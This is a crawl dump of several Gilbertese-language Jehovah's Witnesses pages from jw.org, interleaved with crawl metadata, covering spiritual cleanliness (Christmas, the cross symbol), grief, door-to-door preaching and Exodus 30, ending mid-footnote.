Itiakimi\"\n6. Ti kangaa ni buokaki n ana tua Iehova nakoia I-Iutaia ake taenikai, n ota n ae e nanonaki n te itiaki ni kaineti ma te onimaki?\n6 Tera te itiaki ni kaineti ma te onimaki? Ibukini kaekaan anne, ti na nenera ana taeka Iehova nakoia I-Iutaia ake taenikai, ngke a nang kitana Baburon n te kaonoua n tienture B.C.E. (Wareka Itaia 52:11.) Bukin raoi okia taenikai aikai nako abaia ae Ierutarem, bwa a na manga katea te tembora ao ni kaoka te taromauri ae koaua. (Etira 1:2-4) E tangiriia ana aomata Iehova bwa a na katikui waakin nako te Aro ni Baburon. Ma noria bwa e angania tuua aika irekereke teuana imwin teuana: \"Tai ringa te bwai ae kamwara,\" \"otinako mai nanon neienne,\" ao \"kateimatoa itiakimi.\" E aki riai ni kabarekaaki taromaurian Iehova ae itiaki n te taromauri ae kewe. Tera ngkanne reireiara mai iai? Te itiaki ni kaineti ma te onimaki e nanonaki iai kitanan ana reirei ma ana waaki te Aro ae kewe.\n7. Tera te rabwata teuana ae riki bwa te kawai ae teretere raoi are e kabongana Iesu ni buokiia iai taan rimwina bwa a na itiaki ni kaineti ma te onimaki?\n7 Tabeua te tai imwini kaueaan Iesu, ao e a katea naba te rabwata teuana ae riki bwa te kawai ae teretere raoi are e kabongana ni buokiia iai taan rimwina bwa a na itiaki ni kaineti ma te onimaki. Te rabwata anne bon te toro ae kakaonimaki ma ni wanawana, are e mwiokoia Kristo n 1919. (Mat. 24:45) N te ririki anne ao a a kamani kaitiakiia Taan Reirei n te Baibara man reirei aika bati aika reke mairouia Aaro aika kewe. Ma e bon tangiraki riki kaitiakaia ni kaineti ma te onimaki. E a tia Kristo rinanon ana toro ae kakaonimaki ni kaotaia taan rimwina teutana imwin teutana, ni kaineti ma katei aika bwabwainaki aika kakaokoro ao waaki aika a riai ni katoki karaoaia. (TaeRab. 4:18) Ti na rinanoni katoto tabeua ni kaineti ma aei.\nA riai Kristian ni Bukamarua te Kiritimati?\n8. Tera ae a a maan n ataia ibukin te Kiritimati Taan Reirei n te Baibara, ma tera ae a aki iangoia?\n8 A a maan Taan Reirei n te Baibara n ataa ae e nako te Kiritimati man te katei ni beekan ao e aki bungiaki Iesu n Ritembwa 25. E taekinaki ae kangai n te Zion's Watch Tower ae bwain Ritembwa 1881: \"Mirion ma mirion aomata aika rairaki nakon te Aro ni Kristian man taian Aro ni Beekan. Ma n angiin te tai e tii bitaki te ara, n aron aia mitinare beekan a a riki bwa aia mitinare kristian, ao aia bong ni motirawa beekan a a riki bwa aia bong ni motirawa Kristian. Ao teuana mai buakoni boong ni motirawa akanne bon te Kiritimati.\" N te Taua-n-Tantani n 1883 i aan te atu ae \"E Bungiaki n Ningai Iesu?\" ao e taekinaki iai bwa e bungiaki Iesu tao ni moan Okitobwa. * Ma e ngae n anne, a aki tabe Taan Reirei n te Baibara n te tai anne n iangoa ae a nang riai ni katoka bukamaruan te Kiritimati. E teimatoa ni bukamaruaki irouia naba kaain te utu ni Betaera i Brooklyn. Imwin 1926 ao e a reke te bitaki. Bukin tera?\n9. Tera ae a a tibwa ataia Taan Reirei n te Baibara ibukin te Kiritimati?\n9 Imwin rinanoan raoi te baei, a a tibwa ataia Taan Reirei n te Baibara bwa moan reken te Kiritimati ao mwakuri ake a kakaraoaki iai a bon aki karinea te Atua. E taekinaki n te kaongora ae \"The Origin of Christmas,\" n The Golden Age ae bwain Ritembwa 14, 1927, bwa te Kiritimati bon aia bukamaru beekan, ae kaatuuaki iai baika tatangiraki ao e irekereke ma taromaurian te bouannanti. E kamatataaki n te kaongora aei bwa e aki tua Kristo bwa e na karaoaki te bukamaru aei ao e motikaki n te taeka ae teretere raoi ae kangai ni kaineti ma te Kiritimati: \"Kioina ngkai e boutokaaki kakaraoan te bukamaru aei irouia kaain te aonnaba aika tangira te kaibwabwaru ao ai te Riaboro, . . . e teretere bwa e nang aki kona ni manga uneakinaki taekani bukamaruana irouia ake a katabui maiuia bwa a na beku ibukin Iehova, ao a riai ni katoka karaoana.\" E aki kamimi bwa n Ritembwa anne ao a aikoa bukamarua te Kiritimati kaain te utu ni Betaera, ao a aikoa manga karaoia imwin anne!\n10. (a) Tera ae e a kaotaraeaki riki ibukin te Kiritimati n Ritembwa 1928? (Nora te bwaoki ae \"Te Kiritimati, Moan Rekena ao te Kantaninga Iai.\") (b) A kangaa ana aomata te Atua n anganaki te kauring ibukini boong ni motirawa ake tabeua riki ma bukamaru, aika riai ni katinanikuaki? (Nora te bwaoki ae \"Kaotaraeani Boong ni Motirawa Ake Tabeua ma Bukamaru.\")\n10 N te ririki are imwina ao e a manga reke irouia Taan Reirei n te Baibara kaotaraean riki te Kiritimati. N Ritembwa 12 n 1928 ao Brother Richard H. Barber, ae temanna kaaini kautun ara botaki, e anga ana kabwarabwara n te rerio ae e kaotia raoi iai bwa e moan reke te bukamaru aei mani baika aki itiaki. Tera aroia ana aomata te Atua nakon te kairiri ae mataata aei mani kautun ara botaki? E taku Brother Charles Brandlein ngke e uringa te tai are e katoka iai bukamaruan te Kiritimati ma ana utu: \"Ti nanokawaki ni katokan aia bukamaru beekan aei? Ti bon aki! . . . Kaanga ai aron anaakin te kunnikai ae baarekareka ao karenakoana.\" E ururing naba ni kangai Brother Henry A. Cantwell, are e a manga riki imwina bwa te mataniwi ae mwamwananga: \"Ti kukurei ngkai ti kona ni katokia ni kaota iai tangiran Iehova.\" A kukurei ni karaoi bitaki aika kainnanoaki taan rimwini Kristo aika kakaonimaki ni koaua, ao a aikoa manga karaoa te bukamaru ae nako man te taromauri ae baareka. *\n11. Ti na kangaa ni kaotia bwa ti boutokaa te Uea ae te Mesia?\n11 Ai raoiroira te katoto ae a kateia ibukira Taan Reirei n te Baibara aikai! N iaiangoan aia katoto ti wanawana ngkana ti titirakinira ni kangai: 'Tera au iango n te kairiri ae ti karekea mairoun te toro ae kakaonimaki? I kukurei ni butimwaeia ao ni maiuakina reireiau ae reke iai?' Ongeabara ae nako mai nanora e oti iai bwa ti boutokaa te Uea ae te Mesia, are e kabongana te toro ae kakaonimaki bwa e na katauraoi amwarake n taamnei n taina ae riai.\nA Riai Kristian ni Kabongana te Kaibangaki?\n12. Tera ngkoa aia iango Taan Reirei n te Baibara ibukin te kaibangaki i nanon ririki aika bati?\n12 I nanon ririki aika bati ao a iangoa te kaibangaki Taan Reirei n te Baibara bwa aia kanikina Kristian. A bon aki iangoia ae e riai n taromauriaki te kaibangaki, bwa a ataia ae e kairua taromauriani bouannanti. (1Kor. 10:14; 1Ioa. 5:21) N 1883 ao e a kamani kaotaki raoi n te Taua-n-Tantani bwa \"taromauriani bouannanti n aekana nako bon te bwai ae ribaaki iroun te Atua.\" Ma n te moantai ao a aki nora buakakani kabonganaan te kaibangaki Taan Reirei n te Baibara. N te katoto, a kakatonga ni kakanimwa bannan te kaibangaki ma te baunuea i aon aia kunnikai. Bwa irouia e kaotaki iai bwa ngkana a kakaonimaki ni karokoa mateia ao e na reke irouia te bau ae te maiu. Ni moa man 1891, ao e a kaoti te kanikina ae te kaibangaki ma te baunuea i aon tinanikun te Taua-n-Tantani.\n13. Tera te ota ae a karekea taan rimwini Kristo ibukini kamanenaakin te kaibangaki? (Nora te bwaoki ae \"Rikiraken te Oota i Aoni Kabonganaan te Kaibangaki.\")\n13 E rangi ni kakawaki irouia Taan Reirei n te Baibara bannan te kaibangaki ma te baunuea. Ma ni moa man raabanen 1920 tabun, ao a a tabe taan rimwini Kristo n ota teutana imwin teutana ni kaineti ma kabonganaan te kaibangaki. N ururingan te runga n aono are karaoaki i Detroit i Michigan n te U.S.A. n 1928, ao e ururing ni kangai Brother Grant Suiter, are e a beku imwina bwa kaain te Rabwata n Tautaeka: \"N te runga n aono ao e kaotaki iai bannan te kaibangaki ma te baunuea bwa tiaki tii te bwai ae aki riai ma e bon rangi ni kamatauninga naba.\" N ririki ake imwina riki, ao e a rakarake riki te oota. E a mataata bwa e bon aki kariaiakaki te kaibangaki n te taromauri ae tabu ma n itiaki ni kaineti ma te onimaki.\n14. Tera aroia ana aomata te Atua n ririkiraken te oota are a karekea ni kaineti ma te kaibangaki?\n14 Tera aroia ana aomata te Atua n ririkiraken te oota are a karekea ni kaineti ma te kaibangaki? A bon tiku naba n onimakina bannan te kaibangaki ma te baunuea, are a rangi n tangiria? \"Ti waekoa ni katoka onimakinana ngke ti a ataia bwa e tei ibukin tera,\" anne ana ururing Lela Roberts ae maan n toro iroun Iehova. E kaota aia namakin te koraki aika bati te tari te aine ae Ursula Serenco, ni kangai: \"Ti a ataia bwa bon aia kanikina beekan te bwai are ti rangi n tangiria ngkoa are e tei ibukini maten ara Uea ao ibukin ara taromauri ni Kristian. Ni kaineti ma Taeka n Rabakau 4:18, ti rangi ni kakaitau ngkai e a oota riki kawaira.\" A aki tangiria taan rimwini Kristo aika kakaonimaki ni koaua bwa a na irekereke ma ana waaki aika kamwara te Aro ae kewe!\n15, 16. Tera arora ni motinnanoia bwa ti na kateimatoa itiakini katawanangin ana tembora n taamnei Iehova i aon te aba?\n15 Ti uataboa te motinnano anne ni boong aikai. Ti ataia bwa e kabongana te rabwata ae riki bwa te kawai ae teretere raoi Kristo ae taekan ana toro ae kakaonimaki ma ni wanawana ni buokiia iai ana aomata bwa a na teimatoa n itiaki ni kaineti ma te onimaki. Ngaia are ti waekoa n ongeaba ni kauring aika ti karerekei rinanon amwarake n taamnei, ni kaineti ma katei aika bwabwainaki, waaki, ke aroaro aika irekereke ma te Aro ae kewe. Ti motinnanoia bwa ti na kateimatoa itiakini katawanangin ana tembora n taamnei Iehova i aon te aba, n aroia tarira ma mwaanera ake a maiu n te tai are e moanaki iai okin ao tikuni Kristo.\n16 E mwamwakuri naba Kristo n aki noraki ni kabaneani boong aikai, ni kamanoi aia ekaretia ana aomata Iehova mairouia ake a na kabarekaa aia onimaki. E kangaa ni karaoa anne? Ti na noria.\nKaokoroaia \"Aomata Aika Buakaka Mai Buakoia Aomata Aika Raoiroi\"\n17, 18. N te kaikonaki ae te karaun, tera ae nanonaki (a) ni kabwakaan te karaun, (b) n ae \"a mwane iai aeka n iika nako,\" (c) n ikotakia iika aika raraoi ao karinaia ni nneia, ao (d) ni karenakoaia iika aika aki tau?\n17 E teimatoa te Uea ae Iesu Kristo n tatarai aia ekaretia ana aomata te Atua n te aonnaba ni kabutaa. E tabe Kristo ma anera ni karaoa te mwakuri ae kaokoroaia aomata n te aro ae ti aki kona n noria. E kabwarabwaraa te mwakuri aei Iesu n ana kaikonaki ae te karaun ae a mwane iai aeka n iika nako. (Wareka Mataio 13:47-50.) Tera nanon te kaikonaki aei?\n18 Kabwakaan \"te karaun . . . i taari.\" E tei te karaun ibukin uarongorongoan te Tautaeka n Uea nakoia aomata nako aika kabotauaki ma taari. \"A mwane iai aeka n iika nako.\" A anaaki nanoia aeka n aomata nako n te rongorongo ae raoiroi. Iai i buakoia aomata aikai ake a riki bwa Kristian ni koaua, ma iai naba i buakoia aika kan ongora ma a aki butimwaea te taromauri ni koaua. * Ikotakia \"iika aika raraoi ni karin ni nneia.\" A ikotaki aomata aika raoiroi nanoia ni karinaki ni nneia ae taekan taian ekaretia, ike a kona ni karaoa iai te taromauri ae itiaki nakon Iehova. Karenakoaia \"iika aika aki tau.\" I nanoni kabaneani boong ao e tabe Kristo ma anera ni kaokoroia \"aomata aika buakaka mai buakoia aomata aika raoiroi.\" * Ibukin anne, aomata ake a aki eti nanoia, ae taekaia naake tao a rawa ni kitani koaua ke waaki aika kairua, a na bon aki kariaiakaki bwa a na kabaarekai ekaretia. *\n19. Tera am namakin n te bwai ae e karaoia Kristo ni kaineti ma kateimatoaan itiakia ana aomata te Atua ao itiakin te taromauri ae koaua?\n19 E aki kaunganano ngkanne ataakin ae ara Uea ae Iesu Kristo e boni kamanoia te koraki ake e tararuaiia? Ao e aki karaunano ataakin ae e boni korakora naba ngkai ingaingana ibukin te taromauri ae koaua ao ibukia taan taromauri ni koaua, n aron naba are e kaotiotia ni kaitiakan te tembora n te moan tienture C.E.? Ai kakaitaura ngaira ngkai e teimatoa Kristo ni kaitiakiia ana aomata te Atua ni kaineti ma te onimaki ao ni kateimatoa itiakin te taromauri ae koaua! Ti kona ni boutokaa te Uea ao ana Tautaeka n Uea n arora n aki irekereke naba teutana ma te Aro ae kewe.\n^ bar. 2 A riai I-Iutaia ake a roko, ni kabonganai taiani mwane ake a baireaki ni kabwakaa iai te taekiti ibukin te tembora ni katoa ririki. A anga te tiaati taan raimwane ao n rairia nakon te mwane are katauaki. Irarikin anne, a na bae ni kabooi maan taan roko ibukin te angakarea. E atongia taani kaboonakoi bwaai Iesu bwa \"taani kamwarua\" tao ibukina bwa a rangi n riao aia boo ke aia tiaati ibukini boon aia mwakuri.\n^ bar. 4 A taromauria Iehova ana aomata aika i aon te aba, ni katawanangin ana tembora n taamnei ae kakannato i aon te aba.\n^ bar. 10 E korea ae kangai Brother Frederick W. Franz n ana reta ae bonginaki n Nobembwa 14 n 1927: \"Ti na aki Kakiritimati n te ririki aio. A a tia kaain te utu ni Betaera ni bairea are e nang toki te Kakiritimati.\" Tabeua namwakaina imwina ao e a manga korea riki ae kangai n ana reta Brother Franz ae bonginaki ni Beberuare 6, n 1928: \"E a tia te Uea ni kaitiakira mani kairua nako teutana imwin teutana, aika waakinaki i nanon ana botaki Baburon ae kairaki iroun te Riaboro.\"\n^ bar. 18 Iangoa te katoto, n 2013 ao mwaitiia taan uarongorongo bon 7,965,954, ao aika kaea Kauringaani mateni Kristo bon 19,241,252.\n^ bar. 18 Tiaki titeboo kaokoroaia iika aika raraoi mai buakoia iika aika aki tau ma kaokoroaia tiibu mai buakoia kooti. (Mat. 25:31-46) E na karaoaki te kaokoroaki, ke te kabanea ni motikitaeka ibukia tiibu ao kooti i nanon tain te rawawata ae korakora ae nangi roko. Mangkai ni karokoa te tai anne ao te koraki ake a riki bwa kaanga iika aika aki tau, a kona n okira Iehova ao a na karinaki i nanoni nneia aika taekan taian ekaretia.\n^ bar. 18 N tokina ao a nang karenakoaki n te aro ni kaikonaki iika aika aki tau n te ai ae uramwaaka, ae nanonaki iai kamaunaaia n te tai ae e na roko.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/standards\/n-te-onimaki\/","date":"2018-04-21T20:27:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945317.36\/warc\/CC-MAIN-20180421184116-20180421204116-00023.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2953,"character_repetition_ratio":0.075,"word_repetition_ratio":0.02,"special_characters_ratio":0.229,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) Nobembwa 2017\nIai n te maekatin aei kaongora ibukin te reirei ibukin Ritembwa 25, 2017 nakon Tianuare 28, 2018.\nNgkana e kamaamaa iroum te anene ma kaain te ekaretia, ko na kangaa n tokanikai i aon raraomam anne, ao ni kabongana bwanaam n neboa Iehova?\nTe babaire ibukini kaawa ni kamanomano i Iteraera rimoa, e reireinira ana nanoanga te Atua.\nA kangaa ni kaota ana nanoanga Iehova kaawa ni kamanomano? Tera reireiara iai ibukin ana iango te Atua n te maiu? A kangaa ni kaota ana kaetitaeka ae riai ae kororaoi?\nTi kona ni kamanenai ara tai, korakorara, ao ara bwai riki tabeua ibukini boutokaan te mwakuri n uarongorongo ibukin te Tautaeka n Uea.\nTi riai ni bane n totokoi iango aika taabangaki bwa e na aki rotakibuaka iai ara iango. Iangoi katoto aika nimaua ibukin aia iango kaain te aonnaba.\nE anga taeka ni kauring te abotoro Bauro ae irianaki n te tangira ngke e tia ni kauringia raona ni Kristian aia kantaninga ae kakukurei.\nNgkana ko na bita am ekaretia, ko na bae n raraoma. Tera ae e na buokiko ni kanakoraoa arom?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-nobembwa-2017\/","date":"2018-04-22T05:39:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00531.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":186,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko a tia n ituaki n te aoraki i nanon te tai ae kimototo? Tao ko waekoa ni marurung ao ni mwanuokina aorakim. Ma e kaokoro anne ma te nanokawaki ae korakora. E korea ae kangai Dr. Alan Wolfelt n ana boki ae Healing a Spouse's Grieving Heart: \"E bon aki kona n toki te nanokawaki ae korakora.\" Ao e a manga reitia ni kangai: \"Ma e kona ni bebete riki ni waakinakon te tai ao man aia boutoka naba tabemwaang.\"\nN te katoto, iangoa aron te baatua are Aberaam ngke e mate buuna. E taekinaki n te Baibara bwa 'e kaota nanokawakina ibukin Tara ao e tang.' Te taeka n Ebera ae kabonganaaki ikai \"e kaotia\" ae e a tibwa toki nanokawakina imwin te tai ae maan. * Te katoto teuana riki bon taekan Iakoba, are e mwamwanaaki bwa aongkoa e mate natina are Ioteba bwa e tiringaki irouia maan ni kaakang. E rangi n nanokawaki i nanoni \"boong aika bati,\" ao akea i buakoia ana utu ae kona ni kabebetea. E a waakinako te ririki, ma e bon teimatoa naba n nanokawaki ibukini maten Ioteba.\nA bati naba ni boong aikai aika a nanokawaki ni maten raoia ae a kaan ma ngaia. Iangoi katoto aika uoua aikai.\n\"E motirawa kaainnabau ae Robert n 9 n Turai 2008. Te moaningabong are e riki iai te kabuanibwai anne, bon akea okorona ma moaningabong ake mai mwaina. Imwin ara kaingabong, ao ni katoatai imwain nakon Robert ni mwakuri, ao ti kaboria ma n irabwati ao ni kangai i marenara, 'I tangiriko.' Onoua te ririki imwina ao e bon teimatoa naba n rawawata nanou. Irou I a bon aki kona ni keiaki ribuakon nanokawakiu ni buani buu.\"\n—Gail, 60 ana ririki.\n\"E ngae ngke ai 18 te ririki imwini buan raou ae tangiraki irou, ma I bon teimatoa naba n ururingnga ma n rangi n nanokawaki iai. Ngkana I nora te bwai ae kantara, ao I a uringnga naba ma n iaiangoia bwa e na tera aroni kukureina ngke arona bwa e noria naba.\"\n—Etienne, 84 ana ririki.\nE teretere bwa aeka n rawawata aikai ma namakin aika teimaan aikai boni baika riiriki. E kakaokoro aron temanna ma temanna n nanokawaki, ao ti bon aki wanawana ngkana ti kabuakakaa aron temanna ni kaitaraa te kabuanibwai. Irarikina naba, ti aki riai ni kabuakakaira i bon iroura ngkana e a rangi n riao nanokawakira. Ti na kangaa ni kekeiaki ribuakon te nanokawaki ae korakora?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2016-mei\/maanin-te-tai-n-nanokawaki\/","date":"2018-04-21T01:05:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00344.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":404,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti bae n rangi ni kinaaki n ara mwakuri n uarongorongo ae raababa nako man te auti teuana ma teuana, n ana tabo te botannaomata ao n taabo ake ti kona ni kaitiboo iai ma aomata. Bukin tera bwa ti karaoia?\nA uarongorongo Ana Tia Kakoaua Iehova ibukini karaoiroan te Atua ao kaotiotan arana i mataia aomata. (Ebera 13:15) Ti kan ongeaba naba iroun Kristo Iesu are e tuangira ni kangai: \"Mangaia are naako, reireinia aomata mai buakoia botannaomata nako bwa a na riki bwa taan rimwiu, . . . Ao reireinia bwa a na kakairi ni bwaai ni kabane ake I tua nakoimi.\"—Mataio 28:19, 20.\nIrarikin anne, ti tangiriia kaain rarikira. (Mataio 22:39) Ni koauana, ti ataia bwa bon iai aia onimaki aomata n aia Aro nako, ngaia are a bati aika a aki butimwaea ara rongorongo. Ma ti ataia bwa a kona ni kamaiuaki aomata n reirei aika n te Baibara. Anne bukina ae ti teimatoa iai \"n angareirei ao n tataekina te rongorongo ae raoiroi ibukin te Kristo n aki toki.\"—Mwakuri 5:41, 42.\nE koreia te tia rabakau i aon ana waaki te botannaomata ae Antonio Cova Maduro taekan \"aia kakorakora ma kangaanga ake a rinanona Ana Tia Kakoaua Iehova n aki ongea rawawataia . . . , bwa e aonga n roko te taeka ae tabu n iteran te aonnaba.\"\nBon tiaki Ana Tia Kakoaua Iehova angiia aomata ake a wareware n ara boki. Ao boni kaain Aro tabeua mirion ma mirion aomata ake a reirei n te Baibara ma ngaira. Ma a boni kakaitau ngkai a kawaraki irouia Ana Tia Kakoaua Iehova.\nNi koauana, e bae n iai am titiraki tabeua ibukia Ana Tia Kakoaua Iehova. Ti kona ni buokiko ni karekei kaekaaia ngkana ko\nTitirakina temanna Ana Tia Kakoaua Iehova.\nNakon ara atureti ae kakawaraki n te Intanete ae www.jw.org.\nKaei ara bobotaki n taromauri are a butimwaeaki iai aomata nako.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150901\/ana-tia-kakoaua-iehova-aika-uarongorongo\/","date":"2018-04-19T19:42:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00561.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":304,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"30 \"Ko na karaoa te baonikarea ibukini kabuekani baika boiarara,+ ao ko na karaoia man te kai ae te aketia.+ 2 E riai ni boraoi abwakina ma raababana, ae teuana te mwanokunibai* abwakina ao teuana te mwanokunibai raababana, ao uoua te mwanokunibai rietana. A na riki korona bwa bwaina naba.+ 3 Ko na kanimwa iai te koora ni koaua, aona ao rarikina ni kabutaa ma kooro ake iai, ao ko na karaoa mataniwina ae te koora ni kabutaa. 4 Ko na karaoi naba mwamwana aika koora aika uoua i aani mataniwina i aon iterana ake uoua ake a kaaitara, ao a na taui kaai ake a kabonganaaki ibukin uotakina. 5 Karaoi kaina man te kai ae te aketia ao ko na rabuni n te koora. 6 Ko na kaaki i matan te keeten are i rarikin te Ati ni Berita,*+ ike N na kaoti iai nakoim. E riai ni mena i matan te Ati ni Berita ma rabunana.+ 7 \"E na kabueki baika boiarara+ Aaron+ ni kabubui i aon te baonikarea+ ngkana e katauraoi taian taura+ ni katoa ingabong. 8 Ngkana e kaurai naba taura Aaron n te airoo* ao e na kabueki baika boiarara. Bon te karea ae boiarara ae kakaraoaki i matan Iehova i nanon ami roro nako. 9 Kam na tai kabueki i aona baika boiarara aika aki kariaiakaki+ ke te karea ni kabuekaki ke te karea ae te amwarake, ao kam na tai kabwaroa i aona te karea ae te moi. 10 E na kaaki teutana raraan te man are te karea ni kabwarabure+ Aaron i aoni kooro ake n te baonikarea n te taina n te ririki,+ bwa e aonga ni kaitiaka te baonikarea man te bure. E riai ni karaoa anne n te taina n te ririki bwa e aonga ni bubutii ibukin te baonikarea, n ami roro nako. Bon te bwai ae moan te tabu te baei iroun Iehova.\" 11 E taku ngkanne Iehova nakoni Mote: 12 \"N te tai are ko wareaomata iai ma ni wareki mwaitiia tibun Iteraera,+ e riai temanna ma temanna n anga te kaboomwi nakon Iehova ibukini maiuna* n tain te wareaomata. E riai ni karaoaki aei bwa e aonga n aki roko te rekenikai i aoia ngkana a koreaki araia. 13 Aio te bwai ae a na anga aomata ni kabane ake a koreaki araia: te iterana te tiekera ae te tiekera* ae kakabonganaaki n te tabo ae tabu.*+ Uabwi te kira* ae boraoi ma teuana te tiekera. Te angabwai nakon Iehova bon te iterana te tiekera.+ 14 A na bane n anga te angabwai nakon Iehova aomata nako ake a koreaki araia ake kaka 20 rake aia ririki.+ 15 A aki riai n anga ae bati riki akana kaubwai, ao a aki riai akana maiu ni kainnano n anga ae uarereke riki nakon te itera n tiekera,* bwa te angabwai nakon Iehova ibukini karekeani kabwaraan ami bure ibukini maiumi.* 16 Ko na anaa te mwane ae te tirewa ae bwaini karekeani kabwaraan aia bure tibun Iteraera ao aanga ibukini mwakuri ake a karaoaki n te umwa ni botaki, bwa e na riki bwa te bwai ni kauring i matan Iehova ibukia tibun Iteraera, bwa te kaboomwi ibukini maiumi.\"* 17 E reitia ni kangai Iehova nakoni Mote: 18 \"Karaoa te taabu ae te buraati ao kainteina ae te buraati ibukin te tebobai ao te tebowae,+ ao kaaki i marenan te umwa ni botaki ao te baonikarea ao kanoaia n te ran.+ 19 A na teboki iai baia ma waeia Aaron ma natina mwaane.+ 20 A na teboki baia ma waeia n te ran ngkana a rinnako n te umwa ni botaki ke ngkana a kaania te baonikarea bwa a na beku ao ni karaoi karea aika kareanaki n te ai ma ni kabubui nakon Iehova, bwa a aonga n aki mate. 21 A na teboki baia ma waeia bwa a aonga n aki mate, ao e na riki aei bwa te tua nakoia ae teimatoa, nakoina ma kanoana n aia roro nako.\"+ 22 E reitia ni kangai Iehova nakoni Mote: 23 \"Imwina, anai baika boiarara aika taiani kabanea n tamaroa aika te mura* ae makano ae 500 te tiekera, ao te tineman* ae boiarara ae iteran te mwaiti anne ae 250 te tiekera, ao te karemati* ae boiarara ae 250 te tiekera, 24 ao te katia* ae 500 te tiekera ae tauaki rawawatana n te tiekera ae kakabonganaaki n te tabo are tabu,*+ n ikotaki ma te oera ae te oriwa ae teuana te in.* 25 Karaoa ngkanne mai iai te bwaa ae tabu. E riai n renganaki ni kabane n te aro n rabakau.*+ Bon te bwaa ae tabu te baenne. 26 \"Ko na kabira iai te umwa ni botaki+ ao te Ati ni Berita, 27 n ikotaki ma te taibora ma bwaini mwakuriana nako, te kaintaura ma bwaina nako, baonikareani baika boiarara, 28 baonikarean te karea ni kabuekaki ma bwaini mwakuriana nako, ao te taabu ma kainteina. 29 Ko riai ni katabui bwa a aonga n riki bwa baika moan te tabu.+ E riai n tabu ane e ringi baikai.+ 30 Ao ko na kabira Aaron+ ma natina mwaane,+ ao katabuia* bwa a na beku bwa au ibonga.*+ 31 \"Ko na taetae nakoia tibun Iteraera ni kangai, 'E na teimatoa ni kabonganaaki bwa te bwaa ae tabu ibukiu n ami roro nako.+ 32 A na aki kabiraki iai rabwataia aomata, ao kam na tai katotonga aron rengarenganana. Bon te bwai ae tabu te baei. E na teimatoa n riki bwa te bwai ae tabu iroumi. 33 E riai ni kamateaki ane e karaoa katotongan te bwaa ae boiarara aei ao ane e kabira te aomata ae akea kariaiakana* n teutana mai iai.'\"+ 34 E taku ngkanne Iehova nakoni Mote: \"Anai boiarara aikai aika titeboo rawawataia:+ titakite* aika baika ran ao onika* ao boiarara aika karibanam* ao ribano* ni koaua. 35 Karaoia bwa te boiarara,+ ao e riai n renganaki* n te aro n rabakau te rengarenga ae boiarara aei, e taoronaki,+ e itiaki, ao e tabu. 36 Ko na ika teutana mai iai ni kamtea raoi ao kaaki teutana mai iai i matan te Ati ni Berita n te umwa ni botaki, ike N na kaoti iai nakoim. E riai ni moan te tabu iroumi. 37 Ko aki riai ni kabongana i bon ibukim te boiarara ae ko na karaoia ma te rengarenga aei.+ Ko na iangoa te bwai aei bwa te bwai ae tabu nakon Iehova. 38 E riai ni kamateaki ane e karaoa katotongana bwa e na kakukureia ni boina.\"\nTaiani Kabwarabwara Mai Nano\n^ Te ati ae kanoana bwaai ni kaotioti.\n^ Ebera, \"i marenan tairiki aika uoua.\"\n^ Ebera, ne'phesh, nora Nanon Taeka.\n^ Ke, \"te tiekera ae tabu.\"\n^ Kunin te kai ae boiarara ao e kakabonganaaki naba n te kuuka.\n^ Te aroka ae boiarara.\n^ Ke, \"te tiekera ae tabu\"\n^ Ke, \"n aron ana mwakuri te tia motiboi.\"\n^ Ke, \"kaokoroia ibukin te Atua.\"\n^ Ebera, \"te ianena,\" ae taekan te mwaane ae tiaki kaain ana utu Aaron.\n^ Te bwai ae kanimnim ae boiarara ae wawaanako man taian aroka.\n^ E aki ataaki te aeka n rengarenga aei. Tao e anaaki man aroka tabeua aika boiarara ke mani manin taari tabeua ake iai nanaia.\n^ Te bwai ae kanimnim man te aroka teuana ae ngkana e ikotaki ma baika boiarara tabeua ao e a kakorakoraaki ma ni kateimatoaaki riki iai boiararaia.\n^ Ke, \"n aron ana mwakuri te tia 